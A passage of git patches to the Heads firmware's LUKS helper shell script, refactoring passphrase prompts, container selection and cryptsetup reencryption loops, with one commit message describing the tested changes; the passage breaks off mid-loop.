user to select passphrase for LUKS container #console based no whiptail while [[ ${#PASSPHRASE} -lt 8 ]]; do - { - echo -e "\nEnter passphrase for LUKS container (At least 8 characters long):" - #hide passphrase input from read command - read -r -s PASSPHRASE - #skip confirmation if passphrase is less then 8 characters long (continue) - if [[ ${#PASSPHRASE} -lt 8 ]]; then - echo -e "\nPassphrase must be at least 8 characters long. Please try again." - unset PASSPHRASE - continue - fi - #validate passphrase and ask user to re-enter if not at least 8 characters long - #confirm passphrase - echo -e "\nConfirm passphrase for LUKS container:" - #hide passphrase input from read command - read -r -s PASSPHRASE_CONFIRM - #compare passphrase and passphrase confirmation - if [ "$PASSPHRASE" != "$PASSPHRASE_CONFIRM" ]; then - echo -e "\nPassphrases do not match. Please try again." - unset PASSPHRASE - unset PASSPHRASE_CONFIRM - fi + { + echo -e "\nEnter passphrase for LUKS container (At least 8 characters long):" + #hide passphrase input from read command + read -r -s PASSPHRASE + #skip confirmation if passphrase is less then 8 characters long (continue) + if [[ ${#PASSPHRASE} -lt 8 ]]; then + echo -e "\nPassphrase must be at least 8 characters long. Please try again." + unset PASSPHRASE + continue + fi + #validate passphrase and ask user to re-enter if not at least 8 characters long + #confirm passphrase + echo -e "\nConfirm passphrase for LUKS container:" + #hide passphrase input from read command + read -r -s PASSPHRASE_CONFIRM + #compare passphrase and passphrase confirmation + if [ "$PASSPHRASE" != "$PASSPHRASE_CONFIRM" ]; then + echo -e "\nPassphrases do not match. Please try again." + unset PASSPHRASE + unset PASSPHRASE_CONFIRM + fi - };done + } + done fi #If no device was provided, ask user to select device to partition @@ -131,8 +221,8 @@ interactive_prepare_thumb_drive() #warn user to disconnect all external drives if [ -x /bin/whiptail ]; then whiptail_warning --title "WARNING: Disconnect all external drives" --msgbox \ - "WARNING: Please disconnect all external drives before proceeding.\n\nHit Enter to continue." 0 80 \ - || die "User cancelled wiping and repartitioning of $DEVICE" + "WARNING: Please disconnect all external drives before proceeding.\n\nHit Enter to continue." 0 80 || + die "User cancelled wiping and repartitioning of $DEVICE" else echo -e -n "Warning: Please disconnect all external drives before proceeding.\n\nHit Enter to continue?" read -r -p " [Y/n] " response @@ -150,7 +240,7 @@ interactive_prepare_thumb_drive() enable_usb_storage #list all usb storage devices - list_usb_storage disks > /tmp/devices.txt + list_usb_storage disks >/tmp/devices.txt if [ $(cat /tmp/devices.txt | wc -l) -gt 0 ]; then file_selector "/tmp/devices.txt" "Select device to partition" if [ "$FILE" == "" ]; then @@ -187,8 +277,7 @@ interactive_prepare_thumb_drive() # parameters: # $1 - block device of flash drive # $2 - percent of device allocated to LUKS [1-99] -confirm_thumb_drive_format() -{ +confirm_thumb_drive_format() { TRACE_FUNC local DEVICE LUKS_PERCENTAGE DISK_SIZE_BYTES DISK_SIZE_DISPLAY LUKS_PERCENTAGE LUKS_SIZE_MB MSG @@ -229,8 +318,7 @@ confirm_thumb_drive_format() # $1 - block device of flash drive # $2 - percentage of flash drive to allocate to LUKS [1-99] # $3 - passphrase for LUKS container -prepare_thumb_drive() -{ +prepare_thumb_drive() { TRACE_FUNC local DEVICE PERCENTAGE PASSPHRASE DISK_SIZE_BYTES PERCENTAGE_MB @@ -266,61 +354,28 @@ prepare_thumb_drive() echo "Done." } -select_luks_container() -{ - #TODO: extend logic to prompt for block devices with model if multiple LUKS are found on block device instead of partitions - # Then feed luks with those partitions so that reencrypt and passphrase change can use passphrase to test all selected +# Select LUKS container +select_luks_container() { TRACE_FUNC if [ -s /boot/kexec_key_devices.txt ]; then DEBUG "Reusing known good LUKS container device from /boot/kexec_key_devices.txt" - LUKS=$(cut -d ' ' -f1 /boot/kexec_key_devices.txt) + LUKS=$(cut -d ' ' -f1 /boot/kexec_key_devices.txt) DEBUG "LUKS container device: $(echo $LUKS)" - # LUKS variable not exported yet, prompt for LUKS device elif [ -z "$LUKS" ]; then - list_luks_devices > /tmp/luks_devices.txt - #if /tmp/luks_devices.txt exists and is not empty - if [ -s /tmp/luks_devices.txt ]; then - file_selector "/tmp/luks_devices.txt" "Select LUKS container device" - if [ "$FILE" == "" ]; then - return 1 - else - #TODO: What about BRTFS multi LUKS setup of QubesOS? - # if multiple LUKS containers are found on same block device - # select all of the luks containers on same block device instead of just one - # note that block devices for example under /dev/sda will be /dev/sda1, /dev/sda2, etc - # so we need to select all of the partitions on the same block device from /tmp/luks_devices.txt - # and then export them to LUKS variable - # then reencrypt and passphrase change functions will loop on all of the LUKS containers - # and test passphrase on all of them - if grep -q "$(echo $FILE | sed 's/[0-9]*$//')" /tmp/luks_devices.txt; then - DEBUG "Multiple LUKS containers found on same block device, selecting them all" - LUKS=$(grep $(echo $FILE | sed 's/[0-9]*$//') /tmp/luks_devices.txt) - else - DEBUG "Single LUKS container found on block device, assigning to LUKS variable" - LUKS=$FILE - fi - fi - else - warn "No encrypted device found" - return 1 + main_luks_selection fi fi } -test_luks_current_disk_recovery_key_passphrase() -{ - #TODO: reuse/generalize usage of this function. Tests for LUKS are still done 4 times independently of this helper +# Test LUKS current disk recovery key passphrase +test_luks_current_disk_recovery_key_passphrase() { TRACE_FUNC while :; do select_luks_container || return 1 - # LUKS contains multiline string of LUKS containers on same block device - # transform it into words of a same string separated by space PRINTABLE_LUKS=$(echo $LUKS) - TRACE_FUNC if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then - # if no external provisioning provides current LUKS Disk Recovery Key passphrase echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" read -r luks_current_Disk_Recovery_Key_passphrase echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase @@ -328,91 +383,62 @@ test_luks_current_disk_recovery_key_passphrase() echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase fi - # test all LUKS containers on same block device as returned by select_luks_container echo -e "\n$PRINTABLE_LUKS: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - # Loop on all LUKS containers on same block device for luks_container in $LUKS; do DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase - # Validate past cryptsetup reencrypt attempts - if [ $? -ne 0 ]; then - # if we have more than one LUKS container and passphrase test unsuccessful, tell user how to change passphrase - if [ $(echo $LUKS | wc -w) -gt 1 ]; then - msg=$(echo -e "All $PRINTABLE_LUKS LUKS containers must be unlockable by a shared Disk Recovery Key (DRK) passphrase for the current operation to succeed.\n\nTo change individual LUKS container DRK passphrase, do so from 'Options-> Change LUKS Disk Recovery Key passphrase'\n\nThen retry this operation." | fold -w 70 -s) - whiptail_error --title "$luks_container"': Wrong current LUKS Disk Recovery Key passphrase?' \ - --msgbox "$msg" 0 80 - - TRACE_FUNC - luks_secrets_cleanup - die "$PRINTABLE_LUKS individual containers NEED to share the same Disk Recovery Key passphrase" - # We exited to caller, LUKS still set. TODO: problem? Should we call all cleaning functions on die? - fi - + if ! cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - TRACE_FUNC - + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 detect_boot_device mount -o remount,rw /boot rm -f /boot/kexec_key_devices.txt mount -o remount,ro /boot luks_secrets_cleanup - # remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - # maybe the container was not the right one unset LUKS else - # LuksOpen test was successful. Cleanup should be called only when done - # Exporting successfully used passphrase possibly reused by oem-factory-reset echo "$luks_container: unlocking LUKS container with current Disk Recovery Key passphrase successful" - - # Exporting successfully used passphrase possibly reused by oem-factory-reset export luks_current_Disk_Recovery_Key_passphrase fi done - # exit while loop if LUKS variable is not empty if [ -n "$LUKS" ]; then - # We export the LUKS volume(s) that was/were validated via passphrase test export LUKS TRACE_FUNC DEBUG "LUKS container(s) $PRINTABLE_LUKS exported to be reused" - break; + break fi done } +# Function to re-encrypt LUKS partitions luks_reencrypt() { TRACE_FUNC - #TODO: REFACTOR This and luks passphrase change function needs to loop on same drive discovered luks containers so that reencrypt/passwd change is done on all luks containers of same drive - # Ideal would be to list luks devices and then try keep and append LUKS devices to a list of devices to reencrypt or change passphrase - # then loop on that list of devices that could be opened and reencrypt/change passphrase for all the devices that could be tested opened with that passphrase - select_luks_container || return 1 + test_luks_current_disk_recovery_key_passphrase || return 1 - # Split the $LUKS variable into an array of LUKS containers luks_containers=($LUKS) TRACE_FUNC DEBUG "luks_containers: ${luks_containers[@]}" for luks_container in "${luks_containers[@]}"; do if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then - #if no external provisioning provides current LUKS Disk Recovery Key passphrase - msg=$(echo -e "This will replace the encrypted container content and its LUKS Disk Recovery Key.\n\nThe passphrase associated with this key will be asked from the user under the following conditions:\n 1-Every boot if no Disk Unlock Key was added to the TPM\n 2-If the TPM fails (hardware failure)\n 3-If the firmware has been tampered with/modified by the user\n\nThis process requires you to type the current LUKS Disk Recovery Key passphrase and will delete the LUKS TPM Disk Unlock Key slot, if set up, by setting a default boot LUKS key slot (1) if present.\n\nAt the next prompt, you may be asked to select which file corresponds to the LUKS device container.\n\nHit Enter to continue." | fold -w 70 -s) - whiptail --title 'Reencrypt LUKS encrypted container ?' \ - --msgbox "$msg" 0 80 - echo -e "\nEnter the current LUKS Disk Recovery Key passphrase:" - read -r luks_current_Disk_Recovery_Key_passphrase - echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase + if [ -f /tmp/secret/luks_current_Disk_Recovery_Key_passphrase ]; then + luks_current_Disk_Recovery_Key_passphrase=$(cat /tmp/secret/luks_current_Disk_Recovery_Key_passphrase) + else + msg=$(echo -e "This will replace the encrypted container content and its LUKS Disk Recovery Key.\n\nThe passphrase associated with this key will be asked from the user under the following conditions:\n 1-Every boot if no Disk Unlock Key was added to the TPM\n 2-If the TPM fails (hardware failure)\n 3-If the firmware has been tampered with/modified by the user\n\nThis process requires you to type the current LUKS Disk Recovery Key passphrase and will delete the LUKS TPM Disk Unlock Key slot, if set up, by setting a default boot LUKS key slot (1) if present.\n\nAt the next prompt, you may be asked to select which file corresponds to the LUKS device container.\n\nHit Enter to continue." | fold -w 70 -s) + whiptail --title 'Reencrypt LUKS encrypted container ?' --msgbox "$msg" 0 80 + echo -e "\nEnter the current LUKS Disk Recovery Key passphrase:" + read -r -s luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase + fi else - echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase fi - + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase >/dev/null 2>&1; then whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - # Maybe the container was not the right one + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC detect_boot_device mount -o remount,rw /boot @@ -422,26 +448,25 @@ luks_reencrypt() { unset LUKS continue fi - + DEBUG "Test opening ${luks_containers[@]} successful. Now testing key slots to determine which holds master key" for luks_container in "${luks_containers[@]}"; do - # First obtain which luks1/luks2 key-slot can be unlocked with the key-file DRK_KEYSLOT=-1 DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." for i in $(seq 0 31); do - if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + DEBUG "Testing key slot $i on $luks_container" + if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase >/dev/null 2>&1; then DRK_KEYSLOT=$i DEBUG "$luks_container: Found key-slot $DRK_KEYSLOT that can be unlocked with the current passphrase. breaking loop" break + else + DEBUG "Key slot $i on $luks_container cannot be unlocked with the current passphrase" fi done - # Validate if a key slot was found if [ $DRK_KEYSLOT -eq -1 ]; then whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - # Maybe the container was not the right one + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC detect_boot_device mount -o remount,rw /boot @@ -465,13 +490,12 @@ luks_reencrypt() { # --disable-locks disables the lock feature of cryptsetup, which is enabled by default if ! DO_WITH_DEBUG cryptsetup reencrypt \ - --perf-no_read_workqueue --perf-no_write_workqueue \ - --resilience=none --force-offline-reencrypt --disable-locks \ - "$luks_container" --key-slot "$DRK_KEYSLOT" \ - --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then + --perf-no_read_workqueue --perf-no_write_workqueue \ + --resilience=none --force-offline-reencrypt --disable-locks \ + "$luks_container" --key-slot "$DRK_KEYSLOT" \ + --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC #remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. @@ -492,68 +516,70 @@ luks_reencrypt() { done } -luks_change_passphrase() -{ - TRACE_FUNC - - select_luks_container || return 1 +# Function to change LUKS passphrase +luks_change_passphrase() { + TRACE_FUNC + test_luks_current_disk_recovery_key_passphrase || return 1 - # Split the $LUKS variable into an array of LUKS containers luks_containers=($LUKS) TRACE_FUNC DEBUG "luks_containers: ${luks_containers[@]}" - # Loop through each LUKS container - for luks_container in "${luks_containers[@]}"; do - if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ] || [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then - whiptail --title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ - "Please enter the current LUKS Disk Recovery Key passphrase (slot 0).\nThen choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 0 80 - - echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" - while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do - read -r luks_new_Disk_Recovery_Key_passphrase - done - - echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" - read -r luks_current_Disk_Recovery_Key_passphrase - fi - - echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase - echo -n "$luks_new_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_new_Disk_Recovery_Key_passphrase - - DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then - whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to\n reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - TRACE_FUNC - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - luks_secrets_cleanup - unset LUKS - continue - fi - - echo -e "\nChanging $luks_container LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup luksChangeKey "$luks_container" --key-file=/tmp/secret/luks_current_Disk_Recovery_Key_passphrase /tmp/secret/luks_new_Disk_Recovery_Key_passphrase; then - whiptail_error --title 'Failed to change LUKS passphrase' --msgbox \ - "Failed to change the passphrase for $luks_container.\nPlease try again." 0 80 - continue - fi - - echo "Success changing passphrase for $luks_container." - done - - # Export the new passphrase if all containers were processed successfully - luks_current_Disk_Recovery_Key_passphrase=$luks_new_Disk_Recovery_Key_passphrase - export luks_current_Disk_Recovery_Key_passphrase - export luks_new_Disk_Recovery_Key_passphrase - export LUKS + for luks_container in "${luks_containers[@]}"; do + if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ] || [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then + if [ -f /tmp/secret/luks_current_Disk_Recovery_Key_passphrase ]; then + luks_current_Disk_Recovery_Key_passphrase=$(cat /tmp/secret/luks_current_Disk_Recovery_Key_passphrase) + else + whiptail --title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ + "Please enter the current LUKS Disk Recovery Key passphrase (slot 0).\nThen choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 0 80 + + echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" + while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do + read -r luks_new_Disk_Recovery_Key_passphrase + done + + TRACE_FUNC + echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" + read -r luks_current_Disk_Recovery_Key_passphrase + fi + fi + + echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_new_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_new_Disk_Recovery_Key_passphrase + + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase >/dev/null 2>&1; then + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 + TRACE_FUNC + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec_key_devices.txt + mount -o remount,ro /boot + luks_secrets_cleanup + unset LUKS + continue + fi + + echo -e "\nChanging $luks_container LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." + if ! DO_WITH_DEBUG cryptsetup luksChangeKey "$luks_container" --key-file=/tmp/secret/luks_current_Disk_Recovery_Key_passphrase /tmp/secret/luks_new_Disk_Recovery_Key_passphrase; then + whiptail_error --title 'Failed to change LUKS passphrase' --msgbox \ + "Failed to change the passphrase for $luks_container.\nPlease try again." 0 80 + continue + fi + + echo "Success changing passphrase for $luks_container." + done + + # Export the new passphrase if all containers were processed successfully + luks_current_Disk_Recovery_Key_passphrase=$luks_new_Disk_Recovery_Key_passphrase + export luks_current_Disk_Recovery_Key_passphrase + export luks_new_Disk_Recovery_Key_passphrase + export LUKS } -luks_secrets_cleanup() -{ +# Cleanup LUKS secrets +luks_secrets_cleanup() { TRACE_FUNC #Cleanup @@ -563,7 +589,5 @@ luks_secrets_cleanup() #Unset variables (when in same boot) unset luks_current_Disk_Recovery_Key_passphrase unset luks_new_Disk_Recovery_Key_passphrase - - #TODO: refactor logic of selec_luks_conatainer, where to put - #unset LUKS + unset LUKS } From f43fe1a83631620d2851763a8d60007e44b3cc93 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 29 Oct 2024 09:28:59 -0400 Subject: [PATCH 308/619] initrd/bin/kexec-seal-key initrd/etc/luks-functions: last fixups - fi misplaced - rework reencryption loop - added verbose output on TPM DUK key addition when LUKS container can be unlocked with DRK Current state, left todo for future work: TPM DUK: - TPM DUK setup on defautl boot reuses /boot/kexec_key_devices.txt if present - If not, list all LUKS partitions, asks user for selection and makes sure LUKS passphrase can unlock all - Works on both LUKSv1 and LUKSv2 containers, reusing OS installer settings (Heads doesn't enforce better then OS installer LUKS parameters) LUKS passphrase change/LUKS reencryption: - Reuses /boot/kexec_key_devices.txt if existing - If not, prompts for LUKS passphase, list all LUKS containers not being USB based and attempt to unlock all those, listing only the ones successfully unlocked - Prompts user to reuse found unlockable LUKS partitions with LUKS passphrase, caches and reuse in other LUKS operations (passphrase change as well from oem factory reset/re-ownership) - Deals properly with LUKSv1/LUKSv2/multiple LUKS containers and reencrypt/passphrase changes them all if accepted, otherwise asks user to select individual LUKS container Tested on luksv1,luksv2, btrfs under luks (2x containers) and TPM DUK setup up to booting OS. All good TODO: - LUKS passphrase check is done multiple times across TPM DUK, reencryption and luks passphrase. Could refactor to change this, but since this op is done only one reencrypt+passphrase change) upon hardare reception from OEM, I stopped caring here. Signed-off-by: Thierry Laurion --- initrd/bin/kexec-seal-key | 2 +- initrd/etc/luks-functions | 136 ++++++++++++++++++-------------------- 2 files changed, 64 insertions(+), 74 deletions(-) diff --git a/initrd/bin/kexec-seal-key b/initrd/bin/kexec-seal-key index 0765d8b9e..bd35fe354 100755 --- a/initrd/bin/kexec-seal-key +++ b/initrd/bin/kexec-seal-key @@ -78,7 +78,7 @@ for dev in $key_devices ; do DEBUG "Testing $DISK_RECOVERY_KEY_FILE keyfile created from provided passphrase against $dev individual key slots" if cryptsetup open $dev --test-passphrase --key-file "$DISK_RECOVERY_KEY_FILE" >/dev/null 2>&1; then - DEBUG "LUKS device $dev unlocked successfully with the DRK passphrase" + echo "++++++ $dev: LUKS device unlocked successfully with the DRK passphrase" luks_drk_passphrase_valid=1 break else diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index a69023302..eb2d1fb66 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -363,7 +363,6 @@ select_luks_container() { DEBUG "LUKS container device: $(echo $LUKS)" elif [ -z "$LUKS" ]; then main_luks_selection - fi fi } @@ -420,21 +419,21 @@ luks_reencrypt() { TRACE_FUNC DEBUG "luks_containers: ${luks_containers[@]}" - for luks_container in "${luks_containers[@]}"; do - if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then - if [ -f /tmp/secret/luks_current_Disk_Recovery_Key_passphrase ]; then - luks_current_Disk_Recovery_Key_passphrase=$(cat /tmp/secret/luks_current_Disk_Recovery_Key_passphrase) - else - msg=$(echo -e "This will replace the encrypted container content and its LUKS Disk Recovery Key.\n\nThe passphrase associated with this key will be asked from the user under the following conditions:\n 1-Every boot if no Disk Unlock Key was added to the TPM\n 2-If the TPM fails (hardware failure)\n 3-If the firmware has been tampered with/modified by the user\n\nThis process requires you to type the current LUKS Disk Recovery Key passphrase and will delete the LUKS TPM Disk Unlock Key slot, if set up, by setting a default boot LUKS key slot (1) if present.\n\nAt the next prompt, you may be asked to select which file corresponds to the LUKS device container.\n\nHit Enter to continue." | fold -w 70 -s) - whiptail --title 'Reencrypt LUKS encrypted container ?' --msgbox "$msg" 0 80 - echo -e "\nEnter the current LUKS Disk Recovery Key passphrase:" - read -r -s luks_current_Disk_Recovery_Key_passphrase - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase - fi + if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then + if [ -f /tmp/secret/luks_current_Disk_Recovery_Key_passphrase ]; then + luks_current_Disk_Recovery_Key_passphrase=$(cat /tmp/secret/luks_current_Disk_Recovery_Key_passphrase) else + msg=$(echo -e "This will replace the encrypted container content and its LUKS Disk Recovery Key.\n\nThe passphrase associated with this key will be asked from the user under the following conditions:\n 1-Every boot if no Disk Unlock Key was added to the TPM\n 2-If the TPM fails (hardware failure)\n 3-If the firmware has been tampered with/modified by the user\n\nThis process requires you to type the current LUKS Disk Recovery Key passphrase and will delete the LUKS TPM Disk Unlock Key slot, if set up, by setting a default boot LUKS key slot (1) if present.\n\nAt the next prompt, you may be asked to select which file corresponds to the LUKS device container.\n\nHit Enter to continue." | fold -w 70 -s) + whiptail --title 'Reencrypt LUKS encrypted container ?' --msgbox "$msg" 0 80 + echo -e "\nEnter the current LUKS Disk Recovery Key passphrase:" + read -r -s luks_current_Disk_Recovery_Key_passphrase echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase fi + else + echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase + fi + for luks_container in "${luks_containers[@]}"; do DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase >/dev/null 2>&1; then whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ @@ -449,70 +448,61 @@ luks_reencrypt() { continue fi - DEBUG "Test opening ${luks_containers[@]} successful. Now testing key slots to determine which holds master key" - for luks_container in "${luks_containers[@]}"; do - DRK_KEYSLOT=-1 - DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - for i in $(seq 0 31); do - DEBUG "Testing key slot $i on $luks_container" - if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase >/dev/null 2>&1; then - DRK_KEYSLOT=$i - DEBUG "$luks_container: Found key-slot $DRK_KEYSLOT that can be unlocked with the current passphrase. breaking loop" - break - else - DEBUG "Key slot $i on $luks_container cannot be unlocked with the current passphrase" - fi - done - - if [ $DRK_KEYSLOT -eq -1 ]; then - whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - TRACE_FUNC - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - luks_secrets_cleanup - unset LUKS - continue - fi - - # Now reencrypt the LUKS container with the same key slot - # Warn and launch actual reencryption - echo -e "\nReencrypting $luks_container LUKS encrypted drive content with current Recovery Disk Key passphrase..." - warn "DO NOT POWER DOWN MACHINE, UNPLUG AC OR REMOVE BATTERY DURING REENCRYPTION PROCESS" - - # --perf-no_read_workqueue and/or --perf-no_write_workqueue improve encryption/reencrypton performance on kernel 5.10.9+ - # bypassing dm-crypt queues. - # Ref https://github.com/cloudflare/linux/issues/1#issuecomment-729695518 - # --resilience=none disables the resilience feature of cryptsetup, which is enabled by default - # --force-offline-reencrypt forces the reencryption to be done offline (no read/write operations on the device) - # --disable-locks disables the lock feature of cryptsetup, which is enabled by default - - if ! DO_WITH_DEBUG cryptsetup reencrypt \ - --perf-no_read_workqueue --perf-no_write_workqueue \ - --resilience=none --force-offline-reencrypt --disable-locks \ - "$luks_container" --key-slot "$DRK_KEYSLOT" \ - --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then - whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ - "If you previously changed it and do not remember it, you will have to reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 - TRACE_FUNC - - #remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. - #maybe the container was not the right one - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec_key_devices.txt - mount -o remount,ro /boot - luks_secrets_cleanup - unset LUKS + DEBUG "Test opening ${luks_container} successful. Now testing key slots to determine which holds master key" + DRK_KEYSLOT=-1 + DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." + for i in $(seq 0 31); do + DEBUG "Testing key slot $i on $luks_container" + 